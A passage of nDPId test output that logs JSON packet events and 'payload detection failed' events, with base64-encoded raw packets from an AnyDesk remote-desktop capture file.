BVv1yGGVK6NXuluR2M2JJX74AJ7GQubLXhp+W8KSMPupk3vwuXJ\/oQG07Dt8Q1FpOTf81H6s9nmaAT8cLcgHTs\/knfZYUQXuTXTvib7SN\/M+qxGTBkp2br9kvTttbWDI\/IGJLwIhmoHczZrBAilNHqVsja2pOteUmEP9VX6TqTu4WxS2qNDBxtV0uRyHJOk8WsZU7pTNbT4CuzwsYJhSvoJLEQ7V+jQU+vPmO1gG+Hd8iwlvUFecVAGgkoZzgQj7syLBAm5ur8OusXnxUuEe1Gqp5IEB74zECbmsmHPPEvowJKUmaVc\/QdKhiu4oxgfRhD4i4rGdj7GZX2cXaJvnMWSxHEAY3XCoh1bB5iOEM6tYPXxz\/xLeAgi0MWJHlJ78WidWVAgU2uuEMmaZ879yF63SFw8CGddi4lYe0VxgiUDO+\/Zz5ElA5K6djbq\/\/f9ZKWkT5+sY+qufDMoc4ecbkXQKMDP4BTMM3QDRZ5mcq2YUbRgiP3HyPMKC8cejZWQBsNhoBk0zLU+QPD+Bo+ipPprGi1FlqNA5H4JTZJRUwVAnRMIdH9UFw1l4rdDsxPuLks2ps1ONUs3LVacvxAE9fST+7u5ZEXepy21pWRukcRgsEhypjNVvdbYjvgwg14s\/3CMA1Rp0m\/wFn\/nOz3UNhBh9mNODFvQV61aHDGcbFjmLwELg5xX\/b2LLKL+vVXj+hz3C6H6FqXsIA3GPSAZuL2tiHAsjKr\/e9sGsH1bUn4YFj7GAgcNDFHe0efYIyP3bkz6qx1SAhr+g5tXlDYBAKN8HVi2KY9GRXOU2sc33uoPl2p9Q3\/hhc7cscrlUXsmsD7GnMk5b9fTMmn32ahhG5S4lDhMIAP+g+DXbYtu1rM7t+EZ21r6hd3nfhFAkeLOvD8VbtUqGjwi1HrgNDmTQ\/9KXIcJ4havbexxSyJWxwHmnw1rsH4jOGyLuqPDexU2544r5PxDa6CAlbWs5KkEbxQ\/rFaBWoHvCg8UDUwG+9VHiKlLuGWINSpmdX6lgCpXYuk76hJjuohRHOx6PQ4eXj6vjIkxaPSDSvkjCdaPk7qdSAh1LxYRYpTQokju\/t+cyr51AOmcLmiVzI7qtQZSYaR6S6HKQ+93SnW5hxUmo1cnV36yq1jJu7Oj\/QD+6ukJC5Bi049KwvtkYjQxrLaWyScth0fF0Ff4t+1xo+JOZ4019g\/cCvbmXW9jckhq6SbFApDpLUZdK5lLKoafOiRZYdYGH4GoLC7NYScFhjQR2Kig9ls2RAVQ8QLEB5J6OOjWbS0Z0S7ok46FOHVil73Jr15prHKpdMOkMesESQRBMW5Cn12x\/v53Vk1PrHG\/xx\/gBQcy0n+OVzmv8G97vGzKRg1\/I87Ac9jBwY0ZaaEiNurmnPu1+tCONqnk\/8\/tJChFvmC0zQh5tjGdsydV+bklvAZsQaGlKsnTJaR2Noj9dU7BKodVH3zSZzVwccqxVKe8Nr5rb4g9kApADNEVsLgSNhZ8czScgrt7JffTqpS6\/HjsWOPoYNr3pUHUfXtn4wtMMRCap6Xu\/zeNbBJHZZKgIAaEWWR1BELfc87jYqvHXCTfQobR5DfXn4FsJKTowXhYcz2YQnLEVjPYbLCvUwSg6OdpmV8vnZK9fdvdQMPRWL\/f88x4ySq6XJJOKsIYHd9\/J1jVhOBcOJKTuWgGKe+JPQB\/ZTA3aRICDxaCDZv3rQ6uaEr6xWYsXSBOH801EZEK0W76NtawDAsMDcZCOQWysw\/prPtD8YrtWVRO22FH3hK6RQjl4Ojl2faEUKfR7l4pbRtFx3liOxjd8wQ1RfP77c7ZLzIBDDNYdrPgw+wwKMHldplVT7HesSsU67X1rpd26FK7l7UOgb3wc36fKtW77MlBv\/zjSwJ9nqCmTuPSlVq7GaC79HufuzmtyVrNHwHQmP80bv0vRyVKXUNbhSKYfZjuheUQyllj3QLw=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":845,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":2982} +06036{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":846,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":164588,"pkt_caplen":4228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":4228,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAebpAAIAGAADAqAG7wKgBstOUG56PHq2OWcQkiVAYIBKExAAAFwMDEElZ4hNO+msVX9rHLfcyFFPp3PqrK\/eFeKcXxVeklG\/b4b6sIOC2a83mvVrocNUvhlPPd61bUelj9Tp1HnVXeLmNpk84\/B0ECIi+88Ku8Z9OZRwFK1FUMrBf\/0w64qgrQeqVMmLJFqW6qj7qVba7FKamNpZ7JUNljnxVtEP2raLCMdTyW+oN1K45FEqdrTtMa5eP6d8lagLt7T8fPzaJVRetWFb9vUCeiau\/7JIC+ieYqlVV3MzeUw6jxDDtxKpolfdlOWKrjdUaqfqfZEJ3OyNmj22N5WgbZkT1p64c36HQg7s1\/Qdlqeyx22jvZux\/np3OQmnNMHHSEbGjZR5ZIBljF7+WEWDTFO35Gzr+577TFQIUyby+ya\/0mTbYJpzgjr\/dSLUECHZw41VxZ7FhBuVpfQ2Zg4Pjm+qmsoIAx\/rCry6QyYZLSYH8szH28sDUJrivPhL\/RV6mnd6V2bQCcboOudkXTNGWw73IMLGO0I5p1Zwot4kXcRvPDX0d9k6Jzw201PHz9E52um+YvCJydlDlH2Lm8Hla6SlvJrWkj9uEP514j63+2XEtPQs2GmDFfaoJYHyiv9G9I\/kchrLOzuchYNcv4qiR+1NXElxIJLOC09WY0vfxKy+ao+4zH8UwfuHuXdJwh5v\/9vKtl5O5xpsMHGzimhoiBzJsn6hA2jNE\/I\/7DAfXdlY1ENLZnQvn5HF81I7iDJixdDWUuKmvwryjNowXIZ9I\/MWdwyNBxEPNZlp2NVbl0La5veInvAOcYqjZX8s0QMe35ENvYvzxzhd\/j7WkkoKz\/arCfgIfKmlLLVlno294PH3yxSemQnCIIylM8s\/\/m4+L8dDhnpSKnj+1o2RkvalWBUvosKLPmV0sLExOzU40d+6OdYmWSk6wqTKlPa7uv6giXvtqWlirn1po99omk7h1hUn5T1i32VLBDBBZYonvh+nWBi8o33YLFX4LxUYg0fEm4JxlIQAY0Cs9slxwijPbsaiN\/P7rNW6DLxtNUjkiLIGebGXYte0zAoFBnZqWnRGT7MuFWvSzT3ZUCd+K9XhTqFPwwtbkJ7eFbvIh1QfKZ4Z6Sr5cx0L9azUY2cRtw28R7JMo+guviovPKBWTNlIDcxfg1ZxjsO3E5\/hL0lSHfOWHGiPIF1EnNPsCT4UhQSzVAl7F4fUspvBWrF7v3Wd0NAXxyLX6+O18Yh46NDle9JB4Kl99IeWiZkaus3TLoM3uPa9iW6VpTq13Ku2ZpbLxC9MfoF8epl8GEv9LfBLnE0OO1a4e59b2omugHo\/ymmfWqR+3IzMGzo82uIF80FKKn\/Odhunf+m7aUv9zgZfEewk3nO+l0s9DxdGTLtd0q6zlL6H\/X0fn3YLtubj6jc7+rAy0G\/QVOntoT+Bf74eA85S6cbqAErnwpUzgyXkudPkTGYymgZjyrDwte2JZGvYX6MkZJQOkHS4x6ASVNGFh6GBDLHrmOqQly+ixB6quGGOxEDe0ipgqIVzWhhhdJERp81N3G7iOTyRTKb+B8rreT0JeRkyscdTqukiI+ctH+2+SpojOxPpWf0q85QSzmeqPqor1M7bvENWuQln+myXGNbCYx731eAhB3mnvyvALS7fCPRUoRUOn+O57AVei+R3\/4IN1Y8KnWgG8UwPjGjobiJTuxGYCrrWmJovSAnVCY5Zs+MjF9KBZbO3ZY4e\/xrH7G50IpXlcGxe5OS+p6kXrixvQ+Ez7VlVStvgBgfpiIV6o2oFSvfWiJ2B2bu1ze8USdSCqMOZQUccRv21o2QRHUJtTEwEJkelpvMBHgcV7CJaRMYC90Z98jxrZUqLLHbhC47xL0FwNlWAFJIcT3zthRu9Uj6sM6KZuNGMNvLEC2iYXZOEpV88x6r6pgnUrWZgs6fzu9xXxJ3VTjTF1lTmOxnplew72E8qS\/OdlUw+bjz+\/Xd4ZC\/\/5iSi4c5LCAYB5dYNJXPFf5bHzGZ3rTF9lzO5LvcXQuaZRcM3cMFO1rB7Po04JEF4Tno2jJhdt\/0cg9nzzMa8Jw4L1smPxwBD1i+9AJiZ+aofINk3FsjW5bXtNOoVTCb77e+ZNmJjtMbZfCxORu\/L0BpP5V+eVbMMMNGxmoaMCF+Fq95KrKAXT2adty6QqEVSw6CY996ZNsLIUycXUjb2\/vvvrshgQhfKu2FnKZuthION8OWXWmRdjGDwm4YIG5u7cMGnbrWge1ZGGtSvF6DgIqO6mjBFU\/SHbvH3fAhB7p6rS37WrLvbaoDc5yOCysx5K3L\/H3+PtDD7uXVmgw71VYU52NoMry6rZKtMMGfzHKh+T2CgbzJMSZiRcn\/sMVhgtCtEb9qgKp7DYFpZSGJc2fGeTWdWL3wZb6JSVgm4h55JBXwPAhUPQBbhRabZGgJ3XiCjpNZzC7QRgoxxeKq9hp5a75EsHk1PgBwwYW7blYhpH0QUHl9gS9DcgnTm42\/WKW668ThCxwZAoAErPTrME84cIrAJn30jyCMy9zzhc3v5lNwAyqALVH\/p\/TcR+F9VaSUWALjy6eEoH08V9rzL1q5aBt3tH8xZfxHYWjL4oNMnKyCb5JYiZT07z2XAR9PtLS6W57JghbC7sBUERkvKd+hm7ZIi7sbfLEnKiDjKMaZBSqhSlk28l5TscqZTR7fXEgxPkEWYmzCGhJ6aKVEq42Id8clUdSTIbkArimhDEkGXuo3INwSYXoIsu5fxYgRPS5c9M6SHw5HOHDAAGfHMZpSMnbQeH4NeGvFJ8g1dFWqyc0HwMp+LERh4ezNDpWGWx\/g9sRV+DAdMbyZP6KvgDRwcIU+q7fWctXW8jMQvEI5ZvkHeQhT+V7EQpupNo8WXc2401bpRfmFEhkWE1O5sKoNBV2SGHSVQQuYKr\/cgealmvk8H4+sLhfqOiGubXe8hLfzsmBsLzTcWeaKozXce7kxAlf+n2P3enFojjU1BbeUg1mn3KnHOhS4S5YcP8u3+TmgPblnFBUV+\/qqGqf7beJJrXhzy05YDPQE+2z8osOCYW3dUEVpQlUXgfnaiKL+W4ReNpUiYpOJ3Y\/RI9SJqkqkD4wB309f8Xv3SDEi8MRzpvvnIlvEI5Pk85uc5vD1cW5dZ\/+dRQbcnr0OTmG\/ErWz3srlxZkkVHX3fI1raPEZihySzAkoMoGASuKxMOkILN1Ni0gwXBJgoY2N7WKw02ybul9KA2dT1Kg5gk4Eu3WfBuRzv8eXSsysPYDbdbu3r0qPNV++DNWefeCquYCvAvFmHGwZ1zKbxoCaEWJWVjTBqSopltxDTwLmTOsnaSQnpgH0qoYhOlGuC6N13qr1lymeUxo7CzUmZOBWXMZMuBaAf98BJLiEyY7Ak00V0mcwDx1xDgzetAK8P6TqA5kY927gpo1pYGVyzfTg\/yHbxTLHB7Th3sBwpue4k6zkPhPc2sAQhtBmrv053cc85RdXR3oA0xEQ13VblEPhim\/YEUhDrosacrPUQS+s6zbgjUbFbeGzDW\/T\/E\/PaK3Oet3YHrDHOaqrcLlVlzGkqElxuT\/uaeE0ue6KQ9w8Z7S8u8hgVHgcX4JvRDSo69KgZ50tMA9LWhX9IE8JLdB8j9GI5Kgs6ditL8jyyO3\/SLLwumHhUZ\/\/aCkIKU4a4MzcY2FBd32twdaVJbxU3qgQN+SDeje1B3nt47msFKaKqS0RMSHH4V6U2dO1MGw\/L3umJjbbiSqTA7AokdPM6+KC5gSrekdRFyv16Q40YggV7tY2V1IhX32YI2piT0yczeMwlwtNin0Dx+uVqJnNjK7ui1HL3FBOt5ec\/CjLeXR1y2Jw3Y\/lP2toz5oFNcQqtvQuMLXKkjhjrdaKzsJ5nTl8qlN1uD2wKZ\/HYWtEDMrerZXUcyzbIbaB\/nu1LFX2t7PNd1fTTHNpw0NpJ\/GZMI3Qy7IMDLRKUeOIv+wUnIyQ+9EwHMwAZoirMBi9nHkZVfTvu6fLN\/eujFKy6X5RhQNW1kmDrbWVJiOPM8lttxurpNMBU5DJP7H8Q\/kKBP2TBpwDQCs0pAa2kGowPop8CRAZKa1uQC3SwU\/+\/VQoLfWeA\/YI0la\/Dxp9hY\/RRNcRAHwtNfSgbFpd3geR5alSKNRyh4Xyey9pBPy62coqF4QFUAu7WPOhFslKOQ93BDw+gHjS9BW0l7j7iRkKwPSDnLD7t6nxeDRi2AzB\/r2TYEFY\/J58rKoOEuxW8Yeufge5iOh2XgQKtbMRas5ATGj\/AiHDIvmDjOBddAnBFi9Eu5GbIerTVU\/AzpmzbagDcH\/8Vzdj73AXmhB2tXR1dncNaD+QZQ5RQYm+dYtwwipch4IQld8DZfz5m+MALfG92pEzOZNadsye6KYOdNI+V4BbzF+tzRKcyahRe1yrz52IAIQfpYfDA93OTsRb2riPfynH+uKiWott5Fg2WPK0vZB10rwAtmak5eutj8hiuVHXhxpRE48zZt\/AvZ9u3RlbWOrASoNSyVi4orcKCBQl+unWHXfNRaM5yYBJDYUvQtOxuMTi7iyeoj2NU9TGu8Vkq\/HBRTWyxUZ8\/yLC30jk5lcbhJDp6Vy9HFKK4RVSKVyGkKarqhqO3aeTFCytyJkWXp2RqSlmIuN8CJyKS4cqKzBg+482XonKD47pUK5hJ06mKVa4WDesPuVdW09WkDwsS3qJwcFiKnctkxGU7DnAMOnznfJ1CyyScidTqQk67WfFff6K14yyxZrfqKl+LQA\/6m64YIvgl6tvcSG36BptTSDTbk4v0xfYT4J5EA5iJmBSaRT33GXA8P11bAVEVRdSZT6QKrCSW\/UBt4f4GPRP6StjjlIpfbGH9G7uJ9wkYn4THZM1Xqal3o4WnjxckI04zs6ZwwWo6TB5yqPW0b6oo7yVNMdW\/RsEc4RCJ3UZN8HmrfFtu\/9nSlC0T0A0aVkfEbAuIgsmzvkavn79m8vuXJvIZ8MLZUDxleqXLlgRG7t1Xk3VWpQ17QgTYOKcTfYzhIlqSQapyS3vygCEWhuad\/tkT1nkXmKQ\/vTq+UMlBAhpOlj3vGLnE0ivGFjF\/qIJE1u4tZ8S2C24Szt5tfK7j4gWu+1B5ZN1aJ3IrA\/lIChS1wEbeGTe+Qhuzg5gL8MwpOBmcfbfxFhoNkNHxyc8yk2nIz9JEEsQawuYsDROcszZpwc2NRQVyfTUkar32OHcldhr+2LafTCXNED3LWN7FVb\/rZbqPB1Y\/pnuzGnn2dTw7KPzd4iy3+vff719zWCqzd\/kEhWB6KC7K5ghoGlIseLFWnLGxvL8D6fXuhBtbJkyi+ctKzkx\/TVPVX1gwDnsXueCKC4O2mS87xcXE53uvUbZgdT+exNZT+M9l7dNT5yLgHDwRTmDNEiwKqwPPIFTDo0WqEaJr9yZg0DxgwS7EPm4Ev8nvQ0QxDmXVSzdYcmTmU1EzL6AW5S+g7C8luQp31zkTEk\/ESqrv4oKfsQcDrZ91tJCqomuX6qEVXwc8WLoxwD3x2Xne0BX\/vievz2t1UjAg\/3IbCMIdRxP+dLEL6j5Soul8xRyRha505sBarascy+Qux4JxlVvYApM9eR0+liJPcFCdYraBgOJnqcdi4w7Fj3ZZtdQ=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":846,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":4194} +05268{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":858,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":198969,"pkt_caplen":3666,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":3666,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAecZAAIAGAADAqAG7wKgBstOUG56PHsHXWcQlFlAYIBKExAAAFwMDDhdZ4hNO+msVYQKQQ3RCAjRDvZVlwCTBId0+aHpOaL3LKQDCnZrZcCq+6DfM1v4rBqrfaCn4I9cFBv61IvtHeDrUoLlup2zJ8g7K7wEiplYPzmLDWNMOXENoXP\/JD667Myox5AtKGIaeyLXGb\/aQ95U2Z3g0niYGrkCnOA9PG33b3uHIEsbtEgl+WWuhd16ss9S3X3oYDT00ZxKubG0gVm9bCmL9Ez9hDc1o\/M5EzS7M\/72psIGO9nsQzPYmX+OX4aR\/NfF7FgSek4YyEiN21fNGY6bIM1XOu0tnaimSIFk3Tw3McB8+zoRNMM3I+6ABqwb86Ndo3nOdijlZHNxNloqV2Fk1MKlBaetvkdux9CBvC9m+zx4xVd5ZC4aCKEKbFiyNFfREBj81Dmd\/rzOFC4u\/g7Jocjc9+S0gaGyZIpaqA6xVYf2RM\/cWqwLVpeQCvnixSB5ZNNNv3UJhYrS59GOjOJzIf1xJNzHqcyg6hrX6PhkVteahHJBYYCH5hGg8IgrNdxcDn3MZvCevKvkZvFueEr4LFmr1DCOyYzNUxGljxloM0Nacyq8Adrw6adgSLNM0+wQPRElox90ZvWaiiXhLS5hbLFoqG+0kQm0xrEi+SZvXpRjAnM4U9tz4db\/F9kZyLzvuaxGvYa802Dr2VK\/CuUW0a2H4qMx855DMjLtAOvywqBH1M334fzqfrrQYjPtODLZh2vFds9VtOVzMPtX8tWVMdwAAO5SB4hPjH\/nA5hTAAkYralNxfTGRoNFa9mTct8dvV19oJ3bh3D2HX4a4\/nT6ygzyBQ48fCplcNwuxFwEJFkpeLaSQSmJtAmXHiIk\/6Jy99g\/iJYW47Po+A2MsOxa7YVAXt34+LiAi++6MV6AzaRGqMHzUAhw3sQfj+JMrcjl6f2iPNZA22JZR+EC2CPDJCjuXGCKhPu5IcNTJSUdFcAPdgoA87KJMl98S82JemX0L72fnsLN99XnxH1mMeaEdTfZ4d4ux7JtFIz1s4D5JttDLy59Zb\/8xctHqRNVnk6yvuTr76uh0WKbfzAqockkpc1Ihn7XBMNVWNyj+YfNxAy8ooBBsuAMlfbq4vyX8c0m6BpvfMwd+MNQcIkteILdo4HStxp8A38cbOn9zcg7r051WcEAnj2ux5cOQMJAUditO7QYSnnnWBGjVT5W1t4FFZ+JqYG1hs8jxMkBHg0mnVwjo2rwkcbWVSbXiro3+iR46IfeV2Ysww9FXGUCQKInJYfi2uAR+JCbH177BsqLtseQ8lQQulmQoNVEPD2pz++BVx0p1BXWvSAjQHNE+bFTrn\/o8zjVgxwVlK94PD8NajurRZCbLgG856GWly4fUxYH5X7HWxdv6hqB0uX8bR5DihtX9sf0vMuKiI9Z1FRUE\/buQFTVziHZ7lxaVd0UglV3Dh1B\/2HQnArU+2M2Wf0UGTXvzONBTC\/BhOfQgrJjQ8420W59DsonNoRlkGQvkDZGSlnxWNeXTDYtd2kLgKeETrLbF+VcjdH63QwHbzxOJcIRY3AV144wsAlgcWa3jSe2y+j+GOBOgBUai9Xez9AeD+2Kik31\/gdbASUsOtJjggJAPcAKkGVDKMBVVCpinZas2+IkyJnvc\/NyvCSt3\/pBgOC0QjU88JJUjAri5zVaLUhO9IyNW+9GK5Vi4DfBSkH0RO\/\/k8qImWPkbRU1\/Sk0tlysUUr6AIFMucoAXlamAvsSAMepgBSgGZRc3lYxKfM+XwT2E2ILK8LETFGvPME6K9geQkeNDHFhmOiDo\/6spK5nzovgU8UWL5PzeF3pIExAuE2qryHAOu9xZ9ArmRUDNOKW67ukvDHh9InRZAzQgWT+h7mGMEcEuOxB7iuvPzlGVF+UJZwFRIAa1P4NMxP\/nTSTpra\/V6BxFLkV0M2fI8aDSV5T87ZqA\/BeDR4wsO1HGysccsXkEAdITJnX3jqxBYkBBN\/TtkdOeFN8VjCxZ0kesZD\/wyH70LnjkApU4Qpj938eSId0\/NlzW5uyxthhCD3MOC5MlmXPbXsgYTW\/DybDGYK\/NsgTfw0IZJb+1JPs5UylfSu8RTLA6UzNTjse+DMjSuaxl\/UYuPDDbtKVrjFdqRPGIA9NITj9j+JTFFu9jqu99tfdegNQLXKxocNrwPmNqdXoMiLasTrk408uSTfKKSHAexjoehPeEDVshb9qUWl9TDIdmgzNxuz\/kJ3yAMyXvIeDc5laN07y\/I1PU+Y82wk8nH4BrgzH6yldtYt3YJEfEB9m+3Xw5sz\/1v4OJK1\/kOr0j4u78eWsfZ07EMQp516xeNmKMrtqgGA5eMwoSmGrZZJlshU+oCl6U\/6SJ0+IdYMI4xS5xhLb+PRAgoiTbYzfXInyPWqVq3N0kEImYWLA7H4YNre68YYFSVCTpXmq9FUq2sOApqoFfUkB5grY3ZY30Tor7uzpuPFQSqUiIfzt3ugEtLRDyjJSBA9iLOVQPdey4lLcQbYZmLNPJdirnZvFK6eCLs7ahkdDM9Fl2sfFRE8E\/LeTQh3WLgCJ\/NPvmWyESyVtU\/eyVbRVfy8Zgfa8fUv9Z0NJhmZ9AuOUPfQ6aS8glAOCj\/ccyuHtmBhBZMJn5aTgih8QCsCSERen7eYWXR6SD5\/eNBKey1tePUSX8vrJYNEQdxyBy+5n00c6k7QkUWh6sBl8nEnsOFVPjNbZEmvIEV5qHduKtsSfcZ9zJY0hof25HZfSjzeU0Iu\/wfGnjuInC+rreRQWjHr7jO48znKF7GbECjskJ0NODD93jNf\/q4csgUqdbaE0ful6INugeyZhfBNxZY+bklJoLO\/43eKwNPVa\/KhhPKMQUAQj2Xpu5OUqBzCqZInY40a4PqB3z7c1iXWAQRW0SO7RaFaY88LkeQxaUDTlw5f9gdMw+GxMbGKO3\/WxR7Xk7s+0TlfgGEQJakV8sg1EuWLQBu89dZb0io7IadjHnI9Fh0xU8ggeWm91SzS19aIhpO6aID3lq\/oiX0utdm7NZOSjvn8hO1kfHyPOx2I+BRqlpPhTSnYnbK2\/vm+2G3xQ5kEWkn4yEEOs5tlvd99hWlFsIpF5H+XyjSX\/aviZ3gSHquQ3\/xnp\/L4kAAl3S2+jAQkwnqw8QH9DIu0+PX6F2SgA7MwoaM9AcUD\/8huvCUacqiX69MBq7HPItoIeLx+BZKa+hJ3jZ\/jqD\/lU9s6SKe7OvMyvGmEzcYv5iSqYIt8n11f7ro1eUHfORA2QtP7SBFacguI9mKA8tw+pC6fbXB6pm2RtDiel27U\/CJ4e\/tz7f15IHh5JlhPimgT+u597MpjfX68rXJghf95zcu98RnNhLySoqgLIWAdkD\/tFQeYGBVnGbFUnAbd9QEa2CIxxi\/67i0Hs1iSIEG4wH50Qzsiwjv5M+1TCfjmSsZKvbIJ7VwpDd+nvhpCeDdMRK3Z2d42fPmItfuTMol2QCFBSQjiOMz8xzmJK3X5WHw5AF7j7Tp\/xOhIFXI2IHDSteWg5gJS65uUlyRD90V0cub19kaBNTqunqLWGaBHl7i5LiLfjEtsnGIBSH2tCWt0cgVzO9gzXu4H2N0UQfP37tZdjioCC9jU6li7BjIG\/8foy2xWdcUU\/MD4g25rd8Yl3X8JLACHYxxlPVfL453ltClhvpyGa0fSdpUdeh+Y6g5WxLk8cEICeg5tU52ZSAjAluZqny6bpxHrV1LO6gmoPxWU1oFGzB2omr3\/YmXdu7FndiA9a4KL\/yL0ZyiMVHFfHWtdz1ENJjeV+NTniOiOSYO1GfCgKFH1crjawAAliv3EXcME03K3m9Z6voqAcVHMTRfn\/M4m7Qv348MoM0Gv+vIacQ2HD+odhcGN2067rRsM3diAjPuf4Xhe8SNkJzjVnyIPM69GTyjhZd765nfD3+6MLFENPmKq1NnoR0q7rrVqtjyigdAqB3tIiY7wSMQMteQKWLkO38Uwxj2+HeUbt4V68mQypkRc9Iutfn37hFzJ1SZ\/6NAlgPiiLolkd5dRLENJNKTsm2+sYoj2lkM\/k2U6cC0iosUhN3rcvRWIRig8ONotJMb8dN1NVeR8LGrVOuZ2wTrdzZFfhjfFRHHqGyYdwqr3eBXxbAelsy3PsW6VjfjprunBuw7C3ZtIllw8GtBoYSHaVxsO9itwGc7Ye6v6FCh7yVnCpoIx0l2vZS4rzim+emX7tg+VuFT2\/9PMtDHtJzkhNXX7WdTJ\/9UnEc8JeziO8gjrauaJBRPKK9+ZnAkEqC3tCDNepmkDGE1wi1ku+vX8rvJvr3Adpfs5ybY5TKn2EOfh1csMVKQMCb+QmdG8zLHCr+4ZHujjCK41Mjj5SLOGqwuNy9fT14efRUMWPwnGKjSZK+CVeY\/4AEk+8IQ5u4pTxO2qAIpSFkslZvRP\/gPsMAt0UkU1OJy9i8gI0j8Zpwz72w2ZdgPL9PoiW0S2zi2t62DXTQDYNSt245p2FxwGZir43ikwKzsctjPkwptCABnPxZtzTb9ggL89YIGYN+s1a9vS2GwYgAMC3yeYPw9BWpSqNCjyRdMhdk3DbT\/L0W8jsmavrqTt90NOJqenpjOtykwQ9CXuNTUU5+RnLbeAFhepDigTF0fyJ2J7AmpvC1ogyQTdvte3rM8dK6sZz8IjhL0LsuC1cEcudqoPJgpeGIQRgR752dF8R6C7mpgWL3OSEWjLNQz8EdHa4j3mN0pF4vZl8OaKAYI3OOIHzxzB4TxKqQufNyfI8yFIm8DjAgu+R\/+hKo44a6qtqj2THIVwIvGqqtUY+84DVSA1zGREYCr3oryU5Eec5qJtphUqA4Cb6GHcZ5+INoRLNXhMdVPr4"} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":858,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3632} +07273{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":861,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":199851,"pkt_caplen":5149,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5149,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAeclAAIAGAADAqAG7wKgBstOUG56PHs\/zWcQlFlAYIBKExAAAFwMDE+JZ4hNO+msVYnTHfiACA0CTvedxGvVmuPe7h56j3fY4ILHHt85pO0x2Ko7RryHmCD\/Ig\/w006jXUlHWK866vnVZK4jdrjJhB9IkLaGn1MLG66Bg2AmO3WevE0ZVJ9Ts5g4bpyUYuDXw3bT1oWmMARYISG6pZYHxgIPle6Y+eQNsiCOFzUgQF6MWC2rC1NBCHBLU2gFZYsn+fF27\/HgOLB6zYIC5IVWvXVtjKb9kbDD+STrhmbX5F9FvF4\/YONYdZxR9AdGOC9GUALpmM1bXYELHRDAgwaTiJUVTA3rmkA\/ev0bgLKSKtdd+i3JcP\/b60Ys9Ww5TvNS9WrdOrJkbz2hxX8r4SGJVrc2HlHEDXK6P3olRGkMANR0\/oSMy9Wd9N9Bc8HkUXGTnEGNXSEW+U0CMz1Lmbp1oTHmxeU\/sby\/enWWNOmVTuyLUDWtXqmVlIJWL0rw5Mhm9+tj7l\/FNsyKnIm8PtReK0ffCw8vJfoOQtkzNRm9rIrCltpQQqYnTGa45Nmgir8bxXQxNz6lT2m7FUGJfgh\/wa7HiSykAjuLC142aG54\/fHJgo3tJrtGD\/1vcVvfA3R\/O+RtCoXmF3vLhVmYySVoSBPUxRfmolZwUUm9K\/P08+dCen4Kiij9C+qAqFBtXxZqD+2fEheMFHmWtE+UFWk2k5doJXJXCrNoUXiIS31+Kh27ygHm+XZNdZuvg92Vi30tvPetqWL9Uumy0PHRhwhrFr0gkhXoiogI8Q1+ytBA0s8uk3IHggxe9AeRFd4\/J8OHxXu5mjnD3UZ\/pE6ewPoRhCZwB2IW3sKfUqDq44+GwkaJBJrOMfovHsD\/cjvZ6cHgVFqnn\/Jnfxsy2cUOAbWe1x2ELpwPvovMKsY65J7sGadKkbWyrX3oVrhvaVpZY\/7d3b+bcceWvjstc6v0uUmt4xoxwnDcbxlQfYshwLcXWdFO2nP4iMJ7udBqwAKIzVZTTW9bYUkz4WkUns1xuTlDOZ3uVbx7+AtqxaYGqZMGzwFOzU7pWBWESU\/C0sAUGQpmXNsDT14DhPQIq+iBg7iOmJ8HSidcgUr96u+saSxFVKR0OoTu+qZNIDK1NHHb1pxsSk7AQk1K\/BYEmrjB8LLhdnnvpVxri\/bAvQXIctaE2h2jCK0rBpDcCxVTN7BJWaHDGyQ0g5Gaqhz89BlGx7fMZHHIA31Rl3DnWjrLRAFZ3lt8rdHKqfRqWSJPkX2NrFQlvQNA2JVIO7BiwUcVFJOWKK2rp4DZlAdhAIQj+3psxynUofbr2etIkOyA+j+ocZlUovDvlhhgk7KHiw+gxCDKFtFWxvnI4JOeJiy6d1ZvAQAkppPMLxlVsMTn8mBcwIDNCpIcU8lNMZRY8ose1E03axpxNjQuHXkmQIuay5OK1LwPUdEH6v45o9WyoVZf8cbKTJqq7\/5uljdEwCQj3Od3IyYDbekNu75wnKVDeLSX6BSfYyxgs45ECjRQb43csx4i5tU5ZtKnMb7laF7M9YBpZaPuDEr65spoNgu3VzJ8AM5ZxRmiqSwbQ5JgB0rbbfq8FbaFCBzN1K6Ua+lsOWWX9r3nmu8Dk0AVBCefOLCBr+SpUkxhheWp1\/LuQGPWJgS8lCSZyqr+W8OK\/RX5WsCL7gd2nzSxdzZ8dWCdzSXTDv\/UtroQdByZowV1p2S3UBr3vqdSJH3pyHyxsaB3\/XTuBTrthk9giIhyyNUFlh3JSrKMVVtfR\/p52TNRxgjXuxakvLaeO6YS064FA\/GOYy0JptKJg3eSQTqptp\/+TTiTrhLRUN1KFbfu\/aTpwCWWdEoMSI7A\/rqVYxkyiiK1Hu6Sl8ET7av6gctfXepJTIDrSQPlM3DMTB0rmzS752UUT7g3WOq3uxbknlw9xiAKJGlYV\/MPKZf0uQRDy4dlnEkQjB6O2wMZuyIcaQjZLpLnouv8rdR+wtfUnnmVl46mypQamOha6+c+EOAwWnvZx4L3wDAcMUodLRV0XJFcrCRpYGr18AiRY2OqY6hm5cdzTWDydbgrnzlYnGDq5bJ0ivcQoSHWyn9hKB